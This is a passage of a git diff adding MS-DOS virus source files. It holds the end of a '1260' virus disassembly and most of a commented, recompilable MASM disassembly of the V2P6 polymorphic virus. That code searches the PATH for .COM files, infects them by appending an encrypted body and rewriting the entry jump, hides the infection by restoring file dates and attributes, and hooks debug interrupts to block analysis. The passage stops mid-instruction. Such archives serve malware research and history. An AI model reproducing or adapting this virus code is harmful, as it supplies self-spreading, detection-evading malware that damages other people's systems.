0, 59H, 0CCH + DB 0, 81H, 0C1H, 27H, 1, 89H + DB 8CH + +LOC_17: + ADD [BX+SI],AX + INT 3 ; Debug breakpoint + NOP + JS LOC_17 ; Jump if sign=1 + ADD SS:DATA_17E[BP+DI],CL + INT 3 ; Debug breakpoint + DB 3EH ; DS: + MOV BH,46H ; 'F' + JMP FAR PTR LOC_1 + DB 0CCH, 0E9H, 62H, 0FEH, 0CCH, 3 + +LOC_18: + SUB BH,0DDH + ADD CX,SP + RCR BYTE PTR SS:DATA_19E[BP+DI],1 ; Rotate thru carry + ADD BX,27H + MOV WORD PTR [BP-1AH],7 + CALL SUB_3 + MOV [BP-12H],DI + ADD BX,10H + INT 3 ; Debug breakpoint + DB 26H ; ES: + LOOPZ LOCLOOP_20 ; Loop if zf=1, cx>0 + + OUT 83H,AL ; port 83H, DMA page reg ch 1 + ADD AH,CL + DEC SP + MOVSB ; Mov [si] to es:[di] + ADD [BX+DI],AX + ADD BX,10H + INT 3 ; Debug breakpoint + MOV BH,5FH ; '_' + CLC ; Clear carry flag + ADD [BX+DI+2],BH + MOV SI,[BP-14H] + INT 3 ; Debug breakpoint + CLI ; Disable interrupts + JNP LOC_18 ; Jump if not parity + AND AX,0F300H + MOVSB ; Mov [si] to es:[di] + MOV AX,[BP-12H] + SUB AX,DI + DEC DI + STOSB ; Store al to es:[di] + +LOC_19: + MOV CX,[BP-14H] + SUB CX,3B6H + CMP CX,DI + JE LOC_27 ; Jump if equal + MOV DX,0 + CALL SUB_2 + JMP SHORT LOC_19 + DB 0CCH, 8BH, 76H, 0ECH, 56H, 8BH + DB 0FEH, 0CCH, 0A1H, 18H, 39H, 0 + DB 81H + +LOCLOOP_20: + DB 0C6H, 57H, 0, 0CCH, 3CH, 0BDH + DB 0C7H, 0EH, 2, 8BH, 0D7H, 0F3H + DB 0A4H, 5EH, 5BH, 0E8H, 92H, 0 + DB 5, 6, 0, 50H, 0FFH, 0E2H + DB 0CCH, 0E9H, 9BH, 23H, 3DH, 0ECH + DB 4, 0CCH, 63H, 16H, 1CH, 0B8H + DB 0, 42H, 0B9H, 0, 0, 0BAH + DB 0, 0, 0CDH, 21H, 72H, 0FH + DB 0B4H, 40H, 0B9H, 3, 0, 0CCH + DB 0D4H, 5FH, 0D6H, 81H, 0C2H, 93H + DB 0, 0CDH, 21H, 8BH, 56H, 0FAH + DB 8BH, 4EH, 0F8H, 81H, 0E1H, 0E0H + DB 0FFH, 81H, 0C9H, 1FH, 0, 0B8H + DB 1, 57H, 0CDH, 21H, 0B4H, 3EH + DB 0CDH + DB 21H + +LOC_21: + MOV AX,4301H + MOV CX,[BP-0AH] + MOV DX,SI + ADD DX,0A1H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + +LOC_22: + PUSH DS + MOV DX,[BP-4] + MOV DS,[BP-2] + MOV AH,1AH + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + POP DS + POP CX + XOR AX,AX ; Zero register + XOR BX,BX ; Zero register + XOR DX,DX ; Zero register + XOR SI,SI ; Zero register + MOV SP,BP + MOV DI,100H + PUSH DI + CALL SUB_5 + RET +1260 ENDP + + +SUB_1 PROC NEAR + MOV CX,[BP-10H] + XOR CX,813CH + ADD CX,9248H + ROR CX,1 ; Rotate + ROR CX,1 ; Rotate + ROR CX,1 ; Rotate + MOV [BP-10H],CX + AND CX,7 + PUSH CX + INC CX + XOR AX,AX ; Zero register + STC ; Set carry flag + RCL AX,CL ; Rotate thru carry + POP CX + RET +SUB_1 ENDP + + DB 58H, 50H, 0C3H + +SUB_2 PROC NEAR + +LOC_23: + CALL SUB_1 + TEST DX,AX + JNZ LOC_23 ; Jump if not zero + OR DX,AX + MOV AX,CX + SHL AX,1 ; Shift w/zeros fill + PUSH AX + XLAT ; al=[al+[bx]] table + MOV CX,AX + POP AX + INC AX + XLAT ; al=[al+[bx]] table + ADD AX,[BP-14H] + MOV SI,AX + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + RET +SUB_2 ENDP + + +SUB_3 PROC NEAR + MOV DX,0 + +LOC_24: + CALL SUB_2 + MOV AX,DX + AND AX,[BP-1AH] + CMP AX,[BP-1AH] + JNE LOC_24 ; Jump if not equal + RET +SUB_3 ENDP + + DB 53H, 8BH, 0DCH, 50H, 56H, 8BH + DB 77H, 2, 0FFH, 47H, 2, 89H + DB 76H, 0E4H, 0ACH, 30H, 4, 8AH + DB 47H, 7, 0CH, 1, 88H, 47H + DB 7, 5EH, 58H, 5BH, 0CFH, 53H + DB 8BH, 0DCH, 50H, 56H, 8BH, 76H + DB 0E4H, 0ACH, 30H, 4, 8AH, 47H + DB 7, 24H, 0FEH, 88H, 47H, 7 + DB 5EH, 58H, 5BH, 0CFH + +SUB_4 PROC NEAR + PUSHF ; Push flags + PUSH DS + PUSH AX + MOV AX,0 + PUSH AX + POP DS + MOV AX,[BP-14H] + SUB AX,82H + CLI ; Disable interrupts + MOV DS:DATA_3E,AX + MOV AX,[BP-14H] + SUB AX,65H + MOV DS:DATA_1E,AX + PUSH CS + POP AX + MOV DS:DATA_2E,AX + MOV DS:DATA_4E,AX + STI ; Enable interrupts + POP AX + POP DS + POPF ; Pop flags + RET +SUB_4 ENDP + + +SUB_5 PROC NEAR + PUSHF ; Push flags + PUSH DS + PUSH AX + MOV AX,0 + PUSH AX + POP DS + MOV AX,[BP-20H] + CLI ; Disable interrupts + MOV DS:DATA_3E,AX + MOV AX,SS:DATA_18E[BP] + MOV DS:DATA_1E,AX + MOV AX,SS:DATA_19E[BP] + MOV DS:DATA_2E,AX + MOV AX,[BP-1EH] + MOV DS:DATA_4E,AX + STI ; Enable interrupts + POP AX + POP DS + POPF ; Pop flags + RET +SUB_5 ENDP + + DB 0BFH, 2AH, 1, 0B8H, 0CDH, 9EH + DB 0B9H, 0DDH, 4, 0F8H, 0FCH, 46H + DB 4BH, 90H + +LOCLOOP_25: + XOR [DI],AX + XOR [DI],CX + XOR DX,CX + XOR BX,CX + SUB BX,AX + SUB BX,CX + SUB BX,DX + NOP + INC AX + INC DI + INC BX + INC SI + INC DX + CLC ; Clear carry flag + DEC BX + NOP + LOOP LOCLOOP_25 ; Loop if cx > 0 + ADD AX,[BX+SI] + ADD AX,[BP+DI] + ADD AX,DS:DATA_11E + ADD [BP+SI],CX + ADD [BP+DI],CX + ADD [SI],CX + ADD [DI],CX + ADD CL,DS:DATA_12E + ADD DL,[BP+SI] + ADD DL,[SI] + ADD DL,DS:DATA_13E + ADD BL,[BP+SI] + ADD [SI],BX + ADD [DI],BX + ADD DS:DATA_14E,BX + ADD [BX+SI],SP + ADD [BX+DI],SP + ADD [BP+SI],SP + ADD [BP+DI],SP + ADD [SI],SP + MOV CX,[BP-18H] + MOV AX,[BP-16H] + MOV DI,SI + SUB DI,3B6H + CALL SUB_6 + MOV AH,40H ; '@' + MOV CX,4ECH + MOV DX,SI + SUB DX,3DDH + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + PUSHF ; Push flags + PUSH AX + MOV CX,[BP-18H] + MOV AX,[BP-16H] + MOV DI,SI + SUB DI,3B6H + CALL SUB_6 + POP AX + POPF ; Pop flags + RET +SUB_6 PROC NEAR + +LOCLOOP_26: + XOR [DI],AX + XOR [DI],CX + INC AX + INC DI + LOOP LOCLOOP_26 ; Loop if cx > 0 + RET +SUB_6 ENDP + + DB 90H, 0CDH, 20H, 0E9H, 0, 0 + DB 2AH, 2EH, 43H, 4FH, 4DH, 0 + DB 'PATH=1260.COM' + DB 0, 0, 4DH + DB 53 DUP (0) + DB 3, 3FH + DB 7 DUP (3FH) + DB 43H, 4FH, 4DH, 3, 3, 0 + DB 6FH, 0, 0, 0, 0, 0 + DB 20H, 80H, 3, 21H, 0, 3 + DB 0, 0, 0 + DB '1260.COM' + DB 0, 0, 4DH, 0, 0, 0 + DB 0, 0 + +CODE_SEG ENDS + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v2p6.asm b/MSDOS/Virus.MSDOS.Unknown.v2p6.asm new file mode 100644 index 00000000..ecdbaec1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v2p6.asm @@ -0,0 +1,1099 @@ + + ;********************************************** + ; * + ; V2P6.ASM * + ; a * + ; recompilable disassembly * + ; of * + ; Mark Washburn's V2P6 * + ; self-encrypting, * + ; variable-length * + ; virus * + ; - * + ; WRITTEN FOR REASSEMBLY * + ; WITH MICROSOFT MASM ASSEMBLER. * + ; * + ; * + ; 1) The V2P6 uses a "sliding-window" * + ; encryption technique that relies on * + ; Interrupts One and Three. The * + ; "INSERT_ENCRYPTION_TECHNIQUES" call * + ; inserts the appropriate code for * + ; this task. * + ; * + ; 2) Occasionally, NOPS and Interrupt 3 * + ; calls are used as "false code" that * + ; is designed to confuse those who * + ; attempt to disassemble the virus. * + ; THEY are not true INT 3 or NOP * + ; instructions. These attempts are * + ; clearly labeled as such. * + ; * + ;********************************************** + +CODE_SEG SEGMENT +ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG +ORG 0100H +V2P6 PROC NEAR + +THE_BEGINNING: + JMP SHORT DEGARBLER + + DB " V2P6.ASM " + +DEGARBLER: + CALL INSERT_ENCRYPTION_TECHNIQUES + DB 36 DUP (090H) + +;========== Body encryption takes place from here down =========== + +START: + MOV BP,SP + SUB SP,029H + PUSH CX + MOV DX,OFFSET VARIABLE_CODE + MOV WORD PTR[BP-014H],DX + CLI + CLD + +STORE_INTERRUPT_ADDRESSES: + PUSH DS + MOV AX,0 + PUSH AX + POP DS + CLI + MOV AX,DS:WORD PTR[4] + MOV WORD PTR[BP-028H],AX + MOV AX,DS:WORD PTR[6] + MOV WORD PTR[BP-026H],AX + MOV AX,DS:WORD PTR[0CH] + MOV WORD PTR[BP-024H],AX + MOV AX,DS:WORD PTR[0EH] + MOV WORD PTR[BP-022H],AX + STI + POP DS + +REPLACE_INTERRUPT_ADDRESSES: + CALL REPLACE_ONE_AND_THREE + MOV SI,DX + ADD SI,0E4H + MOV DI,0100H + MOV CX,3 + CLD + REP MOVSB + +CHECK_DOS_VERSION: + MOV SI,DX + MOV AH,030H + INT 021H + CMP AL,0 + NOP ;Breakpoint Encryption. + NOP + JNE STORE_THE_DTA + JMP EXIT + +STORE_THE_DTA: + PUSH ES + MOV AH,02FH + INT 021H + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[BP-4],BX + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[BP-2],ES + POP ES + +SET_NEW_DTA: + MOV DX,SI + ADD DX,0135H + MOV AH,01AH + INT 021H + PUSH ES + PUSH SI + MOV ES,DS:WORD PTR[02CH] + MOV DI,0H + +FIND_ENVIRONMENT: + POP SI + PUSH SI + ADD SI,0F0H + LODSB + MOV CX,08000H + REPNE SCASB + MOV CX,4H + LOOOPER: + LODSB + SCASB + JNE FIND_ENVIRONMENT + LOOP LOOOPER + POP SI + POP ES + MOV WORD PTR[BP-0CH],DI + MOV BX,SI + ADD SI,0F5H + MOV DI,SI + JMP SHORT COPY_FILE_SPEC_TO_WORK_AREA + + NOP + INT 3 ;False code. + +NO_FILE_FOUND: + CMP WORD PTR[BP-0CH],0 + JNE FOLLOW_THE_PATH + JMP RESTORE_DTA + + INT 3 ;False code. + +FOLLOW_THE_PATH: + PUSH DS + PUSH SI + MOV DS,ES:WORD PTR[02CH] + MOV DI,SI + MOV SI,ES:WORD PTR[BP-0CH] + ADD DI,0F5H + +UP_TO_LODSB: + LODSB + CMP AL,03BH + JE SEARCH_AGAIN + CMP AL,0 + JE CLEAR_SI + STOSB + JMP SHORT UP_TO_LODSB + + INT 3 ;False code. + +CLEAR_SI: + MOV SI,0 + +SEARCH_AGAIN: + POP BX + POP DS + MOV WORD PTR[BP-0CH],SI + CMP CH,0FFH + JE COPY_FILE_SPEC_TO_WORK_AREA + MOV AL,05CH + STOSB + +COPY_FILE_SPEC_TO_WORK_AREA: + MOV WORD PTR[BP-0EH],DI + MOV SI,BX + ADD SI,0EAH + MOV CX,6 + REP MOVSB + MOV SI,BX + MOV AH,04EH + MOV DX,SI + ADD DX,0F5H + MOV CX,3 + INT 021H + JMP SHORT CHECK_CARRY_FLAG + + NOP ;False code. + INT 3 + +FIND_NEXT_FILE: + MOV AH,04FH + INT 021H + +CHECK_CARRY_FLAG: + JAE FILE_FOUND + JMP SHORT NO_FILE_FOUND + + INT 3 ;False code. + +FILE_FOUND: + MOV AX,WORD PTR[SI+014BH] + AND AL,01FH + CMP AL,01FH + JE FIND_NEXT_FILE + CMP WORD PTR[SI+014FH],0F902H + JE FIND_NEXT_FILE + CMP WORD PTR[SI+014FH],0AH + JE FIND_NEXT_FILE + MOV DI,WORD PTR[BP-0EH] + PUSH SI + ADD SI,0153H + +MOVE_ASCII_FILENAME: + LODSB + STOSB + CMP AL,0 + JNE MOVE_ASCII_FILENAME + POP SI + +GET_FILE_ATTRIBUTE: + MOV AX,04300H + MOV DX,SI + ADD DX,0F5H + INT 021H + +STORE_FILE_ATTRIBUTE: + MOV WORD PTR[BP-0AH],CX + +CLEAR_FILE_ATTRIBUTE: + MOV AX,04301H + AND CX,-2 + MOV DX,SI + ADD DX,0F5H + INT 021H + +OPEN_FILE: + MOV AX,03D02H + MOV DX,SI + ADD DX,0F5H + INT 021H + JAE GET_DATE_AND_TIME + JMP SET_THE_ATTRIBUTE + + INT 3 ;False code. + +GET_DATE_AND_TIME: + MOV BX,AX + MOV AX,05700H + INT 021H + +STORE_DATE_AND_TIME: + MOV WORD PTR[BP-8],CX + MOV WORD PTR[BP-6],DX + +READ_FIRST_THREE_BYTES: + MOV AH,03FH + MOV CX,3 + MOV DX,SI + ADD DX,0E4H + INT 021H + NOP ;Breakpoint Encryption. + NOP + JB ERROR_OCCURRED + NOP ;Breakpoint Encryption. + NOP + CMP AX,3 + NOP ;Breakpoint Encryption. + NOP + JNE ERROR_OCCURRED + NOP ;Breakpoint Encryption. + NOP + +GET_FILE_LENGTH: + MOV AX,04202H + NOP ;Breakpoint Encryption. + NOP + MOV CX,0 + MOV DX,0 + INT 021H + JAE AT_END_OF_FILE + +ERROR_OCCURRED: + JMP SET_DATE_AND_CLOSE_FILE + +AT_END_OF_FILE: + NOP ;Breakpoint Encryption. + NOP + PUSH BX + NOP ;Breakpoint Encryption. + NOP + MOV CX,AX + PUSH CX + NOP ;Breakpoint Encryption. + NOP + SUB AX,3 + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[SI+0E8H],AX + ADD CX,06CDH + NOP ;Breakpoint Encryption. + NOP + MOV DI,SI + NOP ;Breakpoint Encryption. + NOP + SUB DI,059FH + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[DI],CX + MOV AH,02CH + INT 021H + XOR DX,CX + NOP ;Breakpoint Encryption. + NOP + MOV CX,WORD PTR[SI+0E2H] + NOP ;Breakpoint Encryption. + NOP + XOR CX,DX + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[SI+0E2H],DX + NOP ;Breakpoint Encryption. + NOP + MOV WORD PTR[BP-01EH],DX + +CREATE_THE_DEGARBLER: + CALL DEGARB_CALL_THREE + MOV AL,BYTE PTR[BP-01EH] + AND AL,3 + CMP AL,3 + JE CREATE_THE_DEGARBLER + PUSH AX + ROR AL,1 + NOP ;Breakpoint Encryption. + NOP + ROR AL,1 + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[SI+O10H],AL + POP AX + ADD AL,2 + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[SI+O3CH],AL + +CREATE_DEGARBLER_PART_TWO: + CALL DEGARB_CALL_THREE + MOV AL,BYTE PTR[BP-01EH] + AND AL,7 + CMP AL,6 + JA CREATE_DEGARBLER_PART_TWO + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-01BH],AL + PUSH AX + NOP ;Breakpoint Encryption. + NOP + XOR AH,AH + SHL AX,1 + NOP ;Breakpoint Encryption. + NOP + INC AX + NOP ;Breakpoint Encryption. + NOP + MOV BX,SI + ADD BX,[O5CH] + ADD BX,AX + NOP ;Breakpoint Encryption. + NOP + MOV DL,BYTE PTR[BX] + POP AX + NOP ;Breakpoint Encryption. + NOP + CMP AL,3 + JA CREATE_DEGARBLER_PART_FOUR + +CREATE_DEGARBLER_PART_THREE: + CALL DEGARB_CALL_THREE + AND AL,DL + JE CREATE_DEGARBLER_PART_THREE + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-01CH],AL + NOP ;Breakpoint Encryption. + NOP + PUSH AX + MOV BL,AL + NOP ;Breakpoint Encryption. + NOP + NOT BL + AND DL,BL + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_TWO + MOV AL,DL + NOP ;Breakpoint Encryption. + NOP + XOR DH,DH + SHL DX,1 + NOP ;Breakpoint Encryption. + NOP + MOV BX,SI + ADD BX,[O24H] + ADD BX,DX + NOP ;Breakpoint Encryption. + NOP + MOV BX,WORD PTR[BX] + MOV WORD PTR[SI+ODH],BX + NOP ;Breakpoint Encryption. + NOP + MOV BL,080H + MOV BYTE PTR[BP-010H],BL + NOP ;Breakpoint Encryption. + NOP + POP DX + CALL DEGARB_CALL_TWO + NOP ;Breakpoint Encryption. + NOP + MOV DH,DL + NOP ;Breakpoint Encryption. + NOP + MOV DL,AL + JMP SHORT CREATE_DEGARBLER_PART_FIVE + +CREATE_DEGARBLER_PART_FOUR: + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-01CH],DL + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_TWO + NOP ;Breakpoint Encryption. + NOP + MOV DH,DL + NOP ;Breakpoint Encryption. + NOP + REAL_NOPS: + MOV BX,09090H + MOV WORD PTR[SI+ODH],BX + NOP ;Breakpoint Encryption. + NOP + XOR DL,DL + NOP ;Breakpoint Encryption. + NOP + MOV BYTE PTR[BP-010H],DL + MOV DL,0FFH + +CREATE_DEGARBLER_PART_FIVE: + CALL DEGARB_CALL_THREE + MOV AL,BYTE PTR[BP-01EH] + AND AL,0FH + CMP AL,0CH + JA CREATE_DEGARBLER_PART_FIVE + CMP AL,DH + JE CREATE_DEGARBLER_PART_FIVE + CMP AL,DL + JE CREATE_DEGARBLER_PART_FIVE + MOV BYTE PTR[BP-0FH],AL + XOR AH,AH + SHL AX,1 + SHL AX,1 + MOV BX,SI + ADD BX,[O6AH] + ADD BX,AX + MOV CL,BYTE PTR[BX] + MOV AL,031H + TEST CL,8 + JNE OVER_ONE + MOV AL,030H + OVER_ONE: + MOV BYTE PTR[SI+0DBH],AL + MOV BYTE PTR[SI+OFH],AL + MOV AL,5 + TEST CL,8 + JNE OVER_SEVERAL + TEST CL,4 + JE OVER_SEVERAL + MOV AL,025H + OVER_SEVERAL: + MOV BYTE PTR[SI+0DCH],AL + MOV AL,BYTE PTR[SI+O10H] + AND CL,7 + XOR CH,CH + SHL CX,1 + SHL CX,1 + SHL CX,1 + OR AL,CL + MOV CL,BYTE PTR[BP-01BH] + SHL CX,1 + MOV BX,SI + ADD BX,[O5CH] + ADD BX,CX + MOV CL,BYTE PTR[BX] + OR AL,CL + MOV BYTE PTR[SI+O10H],AL + MOV BX,SI + ADD BX,[O6AH] + XOR CL,CL + MOV BYTE PTR[BP-01BH],CL + MOV AL,BYTE PTR[BP-0FH] + CMP AL,9 + JA THREE_ADJUSTMENTS + XOR AH,AH + SHL AX,1 + SHL AX,1 + ADD BX,AX + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+O1BH],AL + INC BX + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+O6],AL + MOV BX,SI + ADD BX,[O6AH] + JMP SHORT NO_ADJUSTMENT + + INT 3 ;False code. + +THREE_ADJUSTMENTS: + MOV CL,0FFH + MOV BYTE PTR[BP-01BH],CL + MOV CL,090H + MOV BYTE PTR[SI+O1BH],CL + MOV CL,0B8H + MOV BYTE PTR[SI+O6],CL + +NO_ADJUSTMENT: + MOV DL,BYTE PTR[BP-01CH] + CALL DEGARB_CALL_TWO + XOR DH,DH + SHL DX,1 + SHL DX,1 + ADD BX,DX + INC BX + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+O1AH],AL + INC BX + MOV AL,BYTE PTR[BX] + MOV BYTE PTR[SI+ZERO],AL + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_THREE + NOP ;Breakpoint Encryption. + NOP + MOV AX,WORD PTR[BP-01EH] + AND AX,0FFH + ADD AX,0709H + MOV WORD PTR[BP-018H],AX + MOV WORD PTR[SI+O4],AX + POP CX + ADD CX,0127H + MOV WORD PTR[SI+O1],CX + MOV CL,BYTE PTR[BP-01BH] + OR CL,CL + JNE CREATE_DEGARBLER_PART_SIX + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_THREE + MOV AX,WORD PTR[BP-01EH] + MOV WORD PTR[SI+O7],AX + +CREATE_DEGARBLER_PART_SIX: + MOV WORD PTR[BP-016H],AX + MOV DI,SI + SUB DI,05CDH + NOP ;Breakpoint Encryption. + NOP + MOV AX,3 + MOV CL,BYTE PTR[BP-010H] + OR AL,CL + MOV CL,BYTE PTR[BP-01BH] + OR CL,CL + JNE OVER_OR + OR AX,4 + OVER_OR: + MOV BX,SI + ADD BX,[O2CH] + MOV WORD PTR[BP-01AH],AX + CALL DEGARB_CALL_FIVE + MOV WORD PTR[BP-012H],DI +REAL_NOP: + ADD BX,[OO10H] + NOP ;Breakpoint Encryption. + NOP + MOV AX,1 + CALL DEGARB_CALL_ONE + MOV WORD PTR[BP-01AH],AX + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_FIVE + ADD BX,[OO10H] + MOV AX,1 + MOV CL,BYTE PTR[BP-01BH] + OR CL,CL + JNE OVER_THE_OR + OR AX,2 + OVER_THE_OR: + CALL DEGARB_CALL_ONE + MOV WORD PTR[BP-01AH],AX + NOP ;Breakpoint Encryption. + NOP + CALL DEGARB_CALL_FIVE + MOV CX,2 + MOV SI,WORD PTR[BP-014H] + NOP ;Breakpoint Encryption. + NOP + ADD SI,[O22H] + REP MOVSB + MOV AX,WORD PTR[BP-012H] + SUB AX,DI + DEC DI + STOSB + +LAST_STEP: + MOV CX,WORD PTR[BP-014H] + SUB CX,05A6H + CMP CX,DI + JE COPY_ENC_AND_WRITE_TO_MEMORY + MOV DX,0 + CALL DEGARB_CALL_FOUR + JMP SHORT LAST_STEP + + INT 3 ;False code. + +COPY_ENC_AND_WRITE_TO_MEMORY: + MOV SI,WORD PTR[BP-014H] + PUSH SI + MOV DI,SI + NOP ;Breakpoint Encryption. + NOP + MOV CX,044H + ADD SI,09EH + NOP ;Breakpoint Encryption. + NOP + ADD DI,0262H + MOV DX,DI + REP MOVSB + POP SI + POP BX + CALL GET_OFFSET + ADD AX,6 + PUSH AX + JMP DX + +WRITE_NEW_JUMP: + NOP ;Breakpoint Encryption. + NOP + JB SET_DATE_AND_CLOSE_FILE + MOV AX,04200H + MOV CX,0 + MOV DX,0 + INT 021H + JB SET_DATE_AND_CLOSE_FILE + MOV AH,040H + MOV CX,3 + NOP ;Breakpoint Encryption. + NOP + MOV DX,SI + ADD DX,0E7H + INT 021H + +SET_DATE_AND_CLOSE_FILE: + MOV DX,WORD PTR[BP-6] + MOV CX,WORD PTR[BP-8] + AND CX,-020H + OR CX,01FH + MOV AX,05701H + INT 021H + MOV AH,03EH + INT 021H + +SET_THE_ATTRIBUTE: + MOV AX,04301H + MOV CX,WORD PTR[BP-0AH] + MOV DX,SI + ADD DX,0F5H + INT 021H + +RESTORE_DTA: + PUSH DS + MOV DX,WORD PTR[BP-4] + MOV DS,WORD PTR[BP-2] + MOV AH,01AH + INT 021H + POP DS + +EXIT: + POP CX + MOV SP,BP + MOV DI,0100H + PUSH DI + XOR AX,AX + XOR BX,BX + XOR CX,CX + XOR DX,DX + XOR SI,SI + XOR BP,BP + XOR DI,DI + JMP RESTORE_ONE_AND_THREE + + ;========= Calls used to create the Degarbler =========== + +DEGARB_CALL_ONE: + PUSH AX + CALL DEGARB_CALL_THREE + MOV CL,AL + MOV CH,BYTE PTR[BP-01EH] + POP AX + CMP CH,080H + JA TO_RET + XOR CH,CH + OR AX,CX +TO_RET: + RET + +DEGARB_CALL_TWO: + PUSH AX + MOV AL,0 + UP_TO_SHIFT: + SHR DL,1 + JB RIGHT_HERE + INC AL + JMP SHORT UP_TO_SHIFT + RIGHT_HERE: + MOV DL,AL + POP AX + RET + + INT 3 ;False code. + +DEGARB_CALL_THREE: + MOV CX,WORD PTR[BP-01EH] + XOR CX,0813CH + ADD CX,09249H + ROR CX,1 + ROR CX,1 + ROR CX,1 + MOV WORD PTR[BP-01EH],CX + AND CX,7 + PUSH CX + INC CX + XOR AX,AX + STC + RCL AX,CL + POP CX + RET + +GET_OFFSET: + POP AX + PUSH AX + RET + +DEGARB_CALL_FOUR: + CALL DEGARB_CALL_THREE + TEST DX,AX + JNE DEGARB_CALL_FOUR + OR DX,AX + MOV AX,CX + SHL AX,1 + PUSH AX + XLATB + MOV CX,AX + POP AX + INC AX + XLATB + ADD AX,WORD PTR[BP-014H] + MOV SI,AX + REP MOVSB + RET + +DEGARB_CALL_FIVE: + MOV DX,0 + PRETTY_PLACE: + CALL DEGARB_CALL_FOUR + MOV AX,DX + AND AX,WORD PTR[BP-01AH] + CMP AX,WORD PTR[BP-01AH] + JNE PRETTY_PLACE + RET + + ;====== Encryption and debugger stopping routines ======= + +NEW_INT_THREE: + PUSH BX + MOV BX,SP + PUSH AX + PUSH SI + PUSH DS + PUSH CS + POP DS + OR BYTE PTR[BX+7],1 + MOV SI,WORD PTR[BX+2] + INC WORD PTR[BX+2] + MOV WORD PTR[BP-020H],SI + LODSB + XOR BYTE PTR[SI],AL + IN AL,021H + MOV BYTE PTR[BP-029H],AL + MOV AL,0FFH + OUT 021H,AL + POP DS + POP SI + POP AX + POP BX + IRET + +NEW_INT_ONE: + PUSH BX + MOV BX,SP + PUSH AX + AND SS:BYTE PTR[BX+7],0FEH + MOV BX,WORD PTR[BP-020H] + MOV AL,CS:BYTE PTR[BX] + XOR CS:BYTE PTR[BX+1],AL + MOV AL,BYTE PTR[BP-029H] + OUT 021H,AL + MOV AL,020H + OUT 020H,AL + POP AX + POP BX + IRET + +REPLACE_ONE_AND_THREE: + PUSHF + PUSH DS + PUSH AX + MOV AX,0 + PUSH AX + POP DS + MOV AX,WORD PTR[BP-014H] + SUB AX,093H + CLI + MOV DS:WORD PTR[000CH],AX + MOV AX,WORD PTR[BP-014H] + SUB AX,06DH + MOV DS:WORD PTR[0004],AX + PUSH CS + POP AX + MOV DS:WORD PTR[0006],AX + MOV DS:WORD PTR[000EH],AX + STI + POP AX + POP DS + POPF + RET + +RESTORE_ONE_AND_THREE: + PUSHF + PUSH DS + PUSH AX + MOV AX,0 + PUSH AX + POP DS + MOV AX,WORD PTR[BP-024H] + CLI + MOV DS:WORD PTR[000CH],AX + MOV AX,WORD PTR[BP-028H] + MOV DS:WORD PTR[0004],AX + MOV AX,WORD PTR[BP-026H] + MOV DS:WORD PTR[0006],AX + MOV AX,WORD PTR[BP-022H] + MOV DS:WORD PTR[000EH],AX + STI + POP AX + POP DS + POPF + RET + + ;============= The Variable Code =============== + +VARIABLE_CODE: + MOV SI,0 + MOV CX,0 + MOV DX,0 + NOP + CLC + STC + CLD + XOR BP,BP + +XORING_HERE: + XOR WORD PTR[BP+SI],DX + ADD BYTE PTR[BX+SI],AL + STC + CMC + CLC + CLD + STI + NOP + CLC + INC SI + DEC DX + CLD + CMC + STI + CLC + STC + NOP + LOOP XORING_HERE + XOR BP,BP + XOR BX,BX + XOR DI,DI + XOR SI,SI + ADD AX,WORD PTR[BX+SI] + ADD AX,WORD PTR[BP+DI] + ADD AX,DS:WORD PTR[0901H] + ADD WORD PTR[BP+SI],CX + ADD WORD PTR[BP+DI],CX + ADD WORD PTR[SI],CX + ADD CL,BYTE PTR[DI] + ADD CL,BYTE PTR[BX] + ADD WORD PTR[BP+DI],DX + ADD WORD PTR[SI],DX + ADD WORD PTR[DI],DX + ADD DS:WORD PTR[01701H],DX + ADD WORD PTR[BX+SI],BX + ADD WORD PTR[BX+DI],BX + ADD WORD PTR[BP+SI],BX + ADD WORD PTR[BP+DI],BX + ADD WORD PTR[SI],BX + ADD WORD PTR[DI],BX + ADD DS:WORD PTR[01F01H],BX + ADD WORD PTR[BX+SI],SP + ADD WORD PTR[BX+DI],SP + ADD BYTE PTR[BP+SI],CL + ADD DS:WORD PTR[0902H],AX + ADD AX,WORD PTR[DI] + ADD AL,8 + ADD AX,0704H + ADD CL,BYTE PTR[DI] + DEC BP + INC BP + MOV BP,04B0BH + INC BX + MOV BX,04F0FH + INC DI + MOV DI,04E0EH + INC SI + MOV SI,04808H + INC AX + MOV AX,04800H + INC AX + MOV AX,04804H + INC AX + MOV AX,04A0AH + INC DX + MOV DX,04A02H + INC DX + MOV DX,04A06H + INC DX + MOV DX,9 + ADD BYTE PTR[BX+SI],AL + ADD WORD PTR[BX+SI],AX + ADD BYTE PTR[BX+SI],AL + ADD AX,0 + DB 0 + + ;======= Only the Memory Image of the following code ===== + ;======= is ever executed ===== + +ENCRYPT_WRITE_AND_DECRYPT: + MOV CX,WORD PTR[BP-018H] + MOV AX,WORD PTR[BP-016H] + MOV DI,SI + SUB DI,05A6H + CALL ENCRYPT_BODY + MOV AH,040H + MOV DX,WORD PTR[BP-01EH] + AND DX,0FFH + MOV CX,WORD PTR[BP-018H] + ADD CX,[O27H] + ADD CX,DX + MOV DX,SI + SUB DX,05CDH + INT 021H + PUSHF + PUSH AX + MOV 